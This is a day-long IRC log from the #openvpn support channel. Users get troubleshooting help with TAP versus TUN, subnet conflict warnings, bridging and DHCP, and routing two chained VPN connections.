06:40 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
06:50 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
07:05 -!- p3rror [~p3rror@41.140.179.7] has joined #openvpn
07:08 -!- ex0a [~high@unaffiliated/ex0a] has quit [Ping timeout: 260 seconds]
07:13 -!- Denial [Denial@94.9.99.190] has joined #openvpn
07:21 -!- JAVACODER [~JAVACODER@2.190.41.30] has joined #openvpn
07:38 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
07:39 -!- ex0a [~high@unaffiliated/ex0a] has joined #openvpn
07:42 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
07:43 -!- averagecase [~anon@vserver1612.vserver-on.de] has joined #openvpn
07:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:49 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
07:50 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
07:57 -!- averagecase [~anon@vserver1612.vserver-on.de] has quit [Ping timeout: 264 seconds]
08:00 -!- stefan_ [~quassel@224-216-180-132.vpn.uni-bayreuth.de] has joined #openvpn
08:00 -!- HaxCore [~p3rror@41.249.131.149] has joined #openvpn
08:02 < stefan_> hi, I have a server behind a client (open)vpn... but this server is on a laptop so on server side the hostname from this server is already known (when its directly connected) how to set up a second ip address to the hostname via client configration from openvpn?
08:02 < stefan_> thanks
08:03 -!- p3rror [~p3rror@41.140.179.7] has quit [Ping timeout: 260 seconds]
08:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:18 -!- klein [~klein@177.101.103.104] has joined #openvpn
08:18 -!- klein [~klein@177.101.103.104] has quit [Changing host]
08:18 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:20 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:28 -!- stefan_ [~quassel@224-216-180-132.vpn.uni-bayreuth.de] has quit [Remote host closed the connection]
08:29 -!- Mark-Potter [~Mark@wikipedia/Kiko4564] has joined #openvpn
08:29 -!- Mark-Potter [~Mark@wikipedia/Kiko4564] has left #openvpn ["Leaving"]
08:37 -!- head5-up [~user1@101.165.38.204] has joined #openvpn
08:38 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
08:39 < head5-up> Hi all
08:43 -!- averagecase [~anon@46.115.121.91] has joined #openvpn
08:45 -!- averagecase [~anon@46.115.121.91] has left #openvpn []
08:46 < head5-up> Im a bit of a novice who has managed to set up openvpn on a ubuntu 12.04 vmware. The guide I followed installed TAP which is all working fine.
08:46 < head5-up> After further reading I'm under the impression that TUN would be less of a over head.
08:46 < head5-up> Now this would really bother me as I said all is working fine on my iDevices & both Win7 & MAC.
08:46 < head5-up> The problem is that I'm going to be upgrading my iDevices to iOS 7 & that means no jailbreak for now which in turn means no TAP!
08:46 < head5-up> Basically I was hoping that someone could point me in the right direction for a 'HowTo' to swap over from TAP to TUN for both the server/client configs? Whereby I still get the function as I do using TAP
08:48 < rob0> indeed, tap is a bad idea unless you really need it, and few sites do.
08:49 < rob0> !howto
08:49 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
08:50 < rob0> I always wonder why people google for clueless bloggers' solutions before consulting the project's own documentation? Those random howto writers usually don't understand what they did. It works, they're proud, so they blog it.
08:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
08:54 < head5-up> That's for the links. I've read quite a bit which is why I think im getting a tad confused! So once I managed to reverse the TAP>TUN do I then add the 'topology subnet' to get the similar as TAP?
08:56 < rob0> You will probably want that, yes.
08:56 < rob0> !topology
08:56 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
08:59 < head5-up> OK. So with 'topology subnet' how will the clients route to the remaining LAN & how will the LAN's devices route back? (I've seen some 'push-route' commands)
09:02 -!- stefan_ [~quassel@224-216-180-132.vpn.uni-bayreuth.de] has joined #openvpn
09:05 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Ping timeout: 246 seconds]
09:06 -!- JAVACODER [~JAVACODER@2.190.41.30] has left #openvpn ["JAVACODER"]
09:18 -!- head5-up [~user1@101.165.38.204] has quit [Quit: head5-up]
09:25 -!- averagecase [~anon@46.115.121.91] has joined #openvpn
09:29 -!- Varazir [~mircwars@c-94-255-132-205.cust.bredband2.com] has quit [Quit: bbl I hope]
09:32 -!- averagecase [~anon@46.115.121.91] has quit [Ping timeout: 246 seconds]
09:38 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 260 seconds]
09:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:44 -!- kubbing_ [~kubbing@ip-89-177-146-14.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
09:45 -!- kyrix [~ashley@162.Red-79-156-69.staticIP.rima-tde.net] has joined #openvpn
09:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:15 -!- stefan_ [~quassel@224-216-180-132.vpn.uni-bayreuth.de] has quit [Remote host closed the connection]
10:38 -!- Varazir [~mircwars@c-94-255-131-165.cust.bredband2.com] has joined #openvpn
10:38 -!- Varazir [~mircwars@c-94-255-131-165.cust.bredband2.com] has quit [Client Quit]
10:38 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
10:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
11:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:07 -!- kubbing_ [~kubbing@ip-89-177-146-14.net.upcbroadband.cz] has joined #openvpn
11:11 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 250 seconds]
11:13 -!- kyrix [~ashley@162.Red-79-156-69.staticIP.rima-tde.net] has quit [Ping timeout: 245 seconds]
11:36 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
11:38 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 260 seconds]
11:47 -!- kyrix [~ashley@162.Red-79-156-69.staticIP.rima-tde.net] has joined #openvpn
11:48 -!- JSharpe [~JSharpe@h88-150-184-34.host.redstation.co.uk] has quit [Quit: Leaving]
11:48 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
11:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
11:58 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:03 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:04 -!- kubbing_ [~kubbing@ip-89-177-146-14.net.upcbroadband.cz] has quit [Read error: Operation timed out]
12:09 -!- HaxCore [~p3rror@41.249.131.149] has quit [Quit: Leaving]
12:19 -!- s7r [s7r@openvpn/user/s7r] has quit [Quit: Leaving]
12:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
12:24 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
12:32 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 245 seconds]
12:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:36 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
12:42 -!- kyrix [~ashley@162.Red-79-156-69.staticIP.rima-tde.net] has quit [Quit: Ex-Chat]
12:42 -!- kyrix [~ashley@162.Red-79-156-69.staticIP.rima-tde.net] has joined #openvpn
12:48 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
12:48 -!- nkp [~nkp@cpc5-ando5-2-0-cust70.15-1.cable.virginmedia.com] has joined #openvpn
12:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
12:55 < nkp> Hello, I've used OpenVPN tunneling without much issue for a while now from half a dozen locations. However my configuration appears to run into issues on my girlfriend's home connection where I receive the error: " potential route subnet conflict between local LAN [10.8.0.0/255.255.255.0] and remote VPN [10.8.0.0/255.255.255.0]". As I'm the only user of the remote VPN, I changed the remote VPN address to something under 172.16.
12:55 < nkp> x. However, this still resulted in "possible subnet conflict". No matter what the remote VPN address, there is always a conflict. Can anyone provide some insight?
13:06 <+pekster> nkp: If the local LAN really isn't overlapping you can happily ignore the warning. If using a 172.16/12 (or a /24 within it) changes both the error's LAN and VPN network ranges together, it looks like there might be a bug in the detection mechanism
13:06 <+pekster> nkp: It's not an error so much as a warning. I get it on one of my VPNs too that uses a /27 within a /24 supernet; it thinks my /25 "LAN" conflicts with a non-overlapping /27. My advice would be to ignore it
13:09 < nkp> pekster: The LAN and VPN network range in the warning did change to match each other. I would normally ignore the warning, but I found I was unable to establish any connections after connecting to the VPN.
13:10 < nkp> pekster: The present configuration (albeit with the original network range 10.8.0.x) works fine from my home and work network. This is the first network where it hasn't worked.
13:10 <+pekster> As I said, the warning is a false-positive in this case (you _do_ know what the client's LAN is, yes? If not, that should be the first thing you determine with that warning)
13:10 <+pekster> !interface
13:10 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
13:10 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
13:11 <+pekster> Just the disconnected state is relevant here
13:12 < nkp> The client's LAN is 192.168.0.255
13:21 <+pekster> Then there's no conflict. See my first response
13:25 < nkp> So the lack of connection is due to another unrelated issue?
13:26 -!- kyrix [~ashley@162.Red-79-156-69.staticIP.rima-tde.net] has quit [Ping timeout: 240 seconds]
13:26 <+pekster> Right
13:27 <+pekster> It might be 'related' in some sense, but that warning only applies if there is an actual network overlap
13:35 <+pekster> What's the goal here? Just connect the remote end to the VPN network and that's it?
13:35 <+pekster> !goal
13:35 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:35 -!- nkp [~nkp@cpc5-ando5-2-0-cust70.15-1.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
13:37 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
13:46 -!- mdev [~mdev@192.210.213.83] has left #openvpn []
13:48 -!- nkp [~nkp@cpc5-ando5-2-0-cust70.15-1.cable.virginmedia.com] has joined #openvpn
13:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
13:55 -!- VsioZashibis [kvirc@unaffiliated/vsiozashibis] has joined #openvpn
13:55 -!- nkp [~nkp@cpc5-ando5-2-0-cust70.15-1.cable.virginmedia.com] has quit [Ping timeout: 276 seconds]
13:56 < VsioZashibis> hi. If i use open vpn client gui to connect to the server. It seems like it is connecting. I can ping the server. But my IP address doesn't change.
13:56 < VsioZashibis> However
13:56 < VsioZashibis> If I set up OPENVPN service to start automatically when windows boots, the IP address changes.
13:56 < VsioZashibis> ideas ?
13:57 <@EugeneKay> !redirect
13:57 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:57 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:57 <@EugeneKay> Look at your logs; consult the chart ^
13:57 < VsioZashibis> EugeneKay: it used to work before. Didn't change anything.
13:57 < VsioZashibis> EugeneKay: now I must restart and make it start in services automatically
13:58 <@EugeneKay> !logs
13:58 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:59  * pekster needs to write some webpage somewhere that explains "OpenVPN does not change your IP: it adds another one" :(
14:01 <@EugeneKay> !change
14:01 <@vpnHelper> (change [<channel>] <key> <number> <regexp>) -- Changes the factoid #<number> associated with <key> according to <regexp>.
14:01 <@EugeneKay> Not that one.
14:01 <+pekster> A factoid search (incl values) on 'change' returns nothing useful
14:01 <+pekster> And that really needs several paragraphs to explain
14:06 -!- EugeneKay [eugene@badcryp.to] has quit [Quit: ZNC - http://znc.sourceforge.net]
14:07 -!- VsioZashibis [kvirc@unaffiliated/vsiozashibis] has quit [Quit: closing IRC]
14:08 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
14:14 -!- VsioZashibis [~VsioZashi@unaffiliated/vsiozashibis] has joined #openvpn
14:16 < VsioZashibis> ok I am going to give it a try
14:16 < VsioZashibis> and look at the logs
14:16 -!- pfoo [~pfoo@unaffiliated/pfoo] has quit [Read error: Connection reset by peer]
14:18 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Read error: Operation timed out]
14:21 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
14:22 < VsioZashibis> here is the client log
14:22 < VsioZashibis> https://p.linode.com/8032
14:22 <@vpnHelper> Title: Linode Pastebin (at p.linode.com)
14:26 < VsioZashibis> why the IP address doesn't change?
14:27 < VsioZashibis> it changes only after I set in windows services, openvpn, to automatically start
14:27 < VsioZashibis> and restart computer
14:27 < VsioZashibis> ideas ?
14:29 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-zwgeppzjhyoghahw] has quit [Excess Flood]
14:29 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
14:30 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-bnasjddfiupcxbdq] has joined #openvpn
14:31 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
14:37 < VsioZashibis> why is it not changing the IP address when using openvpn GUI client, but it does work when I restart the computer and start vpn automatically as a service.
14:37 < VsioZashibis> ???
14:37 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 240 seconds]
14:40 <+pekster> It's not changing the IP address. OpenVPN adds an IP address, and is not able to (by itself) "change" anything about your physical connection to the Internet
14:40 < VsioZashibis> its actually working when I just start openvpn in services , without having to restart
14:41 < VsioZashibis> its just not working when I tell openvpn client to connect using GUI
14:41 < VsioZashibis> ideas ?
14:43 <+pekster> That is not a complete log
14:43 <+pekster> If you want me to care more than 0 (what I currently do) you need to use the following info. Use verb 4 (!verb):
14:43 <+pekster> !logs
14:43 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:43 <+pekster> !interface
14:43 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
14:43 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
14:50 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:57 < VsioZashibis> pekster: actually, i am going to leave it the way it is. Since it is working without having to restart
14:57 < VsioZashibis> pekster: thanks ))
14:58 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
15:00 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
15:14 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has joined #openvpn
15:20 -!- TheSov [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
15:34 -!- TheSov [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
15:36 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
15:44 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
15:45 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
15:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
15:52 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
15:54 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:03 -!- Varazir [~mircwars@c-94-255-131-165.cust.bredband2.com] has joined #openvpn
16:19 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has quit [Quit: Verlassend]
16:37 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
16:50 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:58 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
17:00 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
17:06 -!- Denial- [Denial@05417302.skybroadband.com] has joined #openvpn
17:06 -!- Tera [~tera@unaffiliated/tera] has quit [Read error: Connection reset by peer]
17:07 -!- Denial [Denial@94.9.99.190] has quit [Ping timeout: 246 seconds]
17:07 -!- Denial- is now known as Denial
17:11 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
17:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:34 -!- phodamentals [~phodament@c-24-6-102-158.hsd1.ca.comcast.net] has joined #openvpn
17:35 < phodamentals> In openvpn client config---what would I add to automatically add a route via a gateway and interface
17:38 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
17:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
17:59 < phodamentals> !welcome
17:59 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
17:59 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:00 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
18:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
18:35 < alanjf> Does anyone know if it's ok to assign an individual IP address to each member interface (e.g., eth0 and tap0) of a network bridge (br0), /instead/ of setting up the IP on br0 as typical ?
18:35 < alanjf> That is, if I setup a network bridge br0 that consists of eth0 and tap0, br0 has the IP while the members don't. I want to know if it's ok to NOT assign an IP to br0 but two separate ones (in the same subnet perhaps) to each member? Is there a reason not to do that?
18:35 < alanjf> The main reason is I'm trying to figure out a way to prevent DHCP packets from propigating across the bridge (via tap0) so that each side's DHCP servers only server their respective sides.
18:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
18:53 <+pekster> alanjf: That's not how bridges work. You can use ebtables to do L2 filtering, but wouldn't you rather set up a routed setup anyway?
18:53 <+pekster> Bridges, by _design_, pass L2 traffic across members, and broadcast traffic get flooded to all bridge members
18:54 <+pekster> Also relevant:
18:54 <+pekster> !tunortap
18:54 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
18:54 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
18:57 < alanjf> pekster: Thanks, but I don't appear to have ebtables, and I'm using bridged instead of routering in order to create one large LAN effectively.
18:59 < alanjf> The problem is the DHCP server at each site sets clients up to use the local router as the default gw, like for access to the Internet, which is more efficient than having things like requests to google.com for instance going across the VPN, all because a client ended up hitting a DHCP server on another site instead of the local one
18:59 < alanjf> We don't want to use routing, that's not really an option here.
18:59 <+pekster> Don't bridge multiple sites
19:00 <+pekster> _why_ exactly do you think you need bridging?
19:00 <+pekster> Are you sending raw Ethernet frames that contain non-IP payloads? Are you multicasting across the link?
19:00 < alanjf> We have two main sites, the primary and a second office
19:00 <+pekster> So?
19:00 <+pekster> Route between them
19:01 < alanjf> There are other reasons why bridging much be used that I can't really go into right now.
19:01 <+pekster> Bridging is more complicated. You end with exactly what you stated: _one_ LAN. You can't run 2 DHCP servers on a single LAN; that's just as poor of an idea as it is on a single switch
19:01 <+pekster> "can't go into." Then I "can't help you."
19:01 <+pekster> !topsecret
19:01 <@vpnHelper> "topsecret" is (#1) if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust. or (#2) Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
19:02 < alanjf> I understand that, but still it's strange that OpenVPN itself doesn't have an option to just filter out DHCP request from crossing over tap# interfaces
19:02 <+pekster> OpenVPN is a network connectivity program, not your firewall
19:02 -!- owuy [~zero@208.102.118.83] has joined #openvpn
19:03 <+pekster> If you did that with an Ethernet cable instead of openvpn, would you expect it to firewall dhcp too?
19:03 <+pekster> Same concept.
19:03 < alanjf> pekster: What do you mean you cannot help? What do you really need to know beyond knowing that routing isn't an option? The significant thing is that a solution is needed that involves bridging.
19:05 <+pekster> I might care if you can explain why
19:05 < alanjf> pekster: To be honest, that's not out of the realm of possibility either. I've seen places that had multiple DHCP's in one building all on one huge LAN (I believe there was one serving each floor, but I'm not sure how they did that exactly.)
19:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
19:05 <+pekster> You can do things like DHCP zones based on different device MAC prefixes with ISC DHCP, but if that's what you're doing you don't need "filtering"
19:06 < alanjf> pekster: With all due respect the why isn't important, the solution that's needed is. They have certain services that wont work using routing do to the way they work, it's as simple as that.
19:06 <+pekster> "certain services" that are so secret that you can't name the protocol?
19:06 < alanjf> dhcp zones?
19:07 -!- head5-up [~user1@101.165.38.204] has joined #openvpn
19:07 <+pekster> We get a lot of people here like this, and they generally don't really need bridging. Those that actually need it generally understand why, and don't come here becuase they don't break it in the first place. Rather than teach you to pound nails in with a saw, we give you a hammer
19:07 < alanjf> pekster: No because I didn't setup those services nor own them, so I don't know what they are exactly. It's something the client requires.
19:07 <+pekster> Then go laern the network requirements first
19:08 <+pekster> If you don't even know the protocols you'll be transporting, you need to go back to the design phase
19:08 <+pekster> Again, filter things on L2 with ebtables if you really want
19:08 <+pekster> If your issue is DHCP, both that and firewalling is not on-topic here
19:08 <+pekster> !101
19:08 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
19:09 <+pekster> OpenVPN can transport ether IP frames in tun mode, or Ethernet frames in L2 with tap. Think of tap as a "giant, virtual Ethernet cable." That's it.
19:11 <+pekster> Maybe you should look at a bridge-aware L3 firewall (if you're using netfilter, try the --physdev match)
19:25 -!- head5-up [~user1@101.165.38.204] has left #openvpn []
19:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
19:45 -!- owuy [~zero@208.102.118.83] has left #openvpn []
19:46 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:18 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 240 seconds]
20:25 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
20:28 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 245 seconds]
20:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
20:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:54 -!- crane__ [~crane@static-87-79-93-178.netcologne.de] has joined #openvpn
20:55 -!- VsioZashibis [~VsioZashi@unaffiliated/vsiozashibis] has quit [Quit: closing IRC]
20:57 -!- crane_ [~crane@static-87-79-93-178.netcologne.de] has quit [Ping timeout: 260 seconds]
21:32 -!- backjlack_ [~quassel@188.27.125.135] has joined #openvpn
21:32 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
21:33 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 264 seconds]
21:48 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
22:07 -!- DrChaos [~DrChaos@gateway/tor-sasl/drchaos] has joined #openvpn
22:07 < DrChaos> Hi can someone help me understand how to chain 2 open vpn sessions together? like this me->vpn1->vpn2->website
22:07 < DrChaos> I read about IP and routing but I still don't understand how to set up my openvpn client
22:09 < DrChaos> anyone?
22:10 <+pekster> Wait 2 minutes at late evening Americas time and early-morning EU time on a weekend and wonder why you don't get a reply? :)
22:11 < DrChaos> its a weekend in both places
22:11 < DrChaos> and from what I have seen, most of the nerds on freenode don't go out partying on the weekends
22:22 <+pekster> So, assuming you're reasonably fluent in basic routing concepts, the "simpliest" way to do this is make the connection to the first in the chain, add two /32 routes, one to the IP of the physical link you just made via your pre-existing network connection, and a 2nd to the next VPN you wish to connect to in the chain, routed via the gateway you get across the VPN; there's no need to use the /1's you get with `--redirect-gateway def1` ...
22:22 <+pekster> ... (and in fact it's more efficient if you don't use/apply those)
22:23 <+pekster> Then make the 2nd connection, and add the two /1 routes across the gateway for the 2nd in the chain across the VPN link and you're done. Mind the split setup in terms of LAN subnets, operation of DNS/mDNS, and any other multicast protocols you're using
22:24 <+pekster> All "the usual" security concerns apply when doing split horizons with a VPN, so firewall traffic strictly if this is important
22:26 -!- kirin` [telex@gateway/shell/anapnea.net/x-iuyucbweerngldxp] has quit [Ping timeout: 246 seconds]
22:27 -!- kirin` [telex@gateway/shell/anapnea.net/x-pyrttrcwdaafhsbp] has joined #openvpn
22:32 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
22:33 < DrChaos> shit
22:33 < DrChaos> I understood almost none of that
22:34 < DrChaos> I read a whole redpaper on routing that was linked to me last time I was in here
22:34 < DrChaos> and it didn't really contain any useful info, I just learned about masking and subnets and so on
22:35 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:41 <+pekster> Seems I just used an awful lot of CIDR subnet notation. In fact, that's most of what the process consists of
22:42 <+pekster> On Linux, basically just `ip r a $target1/32 via $your_gateway; ip r a $target2/32 via $vpn1_gateway; ip r a 0/1 via $vpn2_gateway; ip r a 128/1 via $vpn2_gateway`
22:43 <+pekster> Probably wise to connect before the /1 routes, unless you don't need DNS, or it's handled by a resolver on-link
22:43  * pekster shrugs
22:43 <+pekster> If you don't understand basic routing, don't attempt to do extremely complex networks tasks
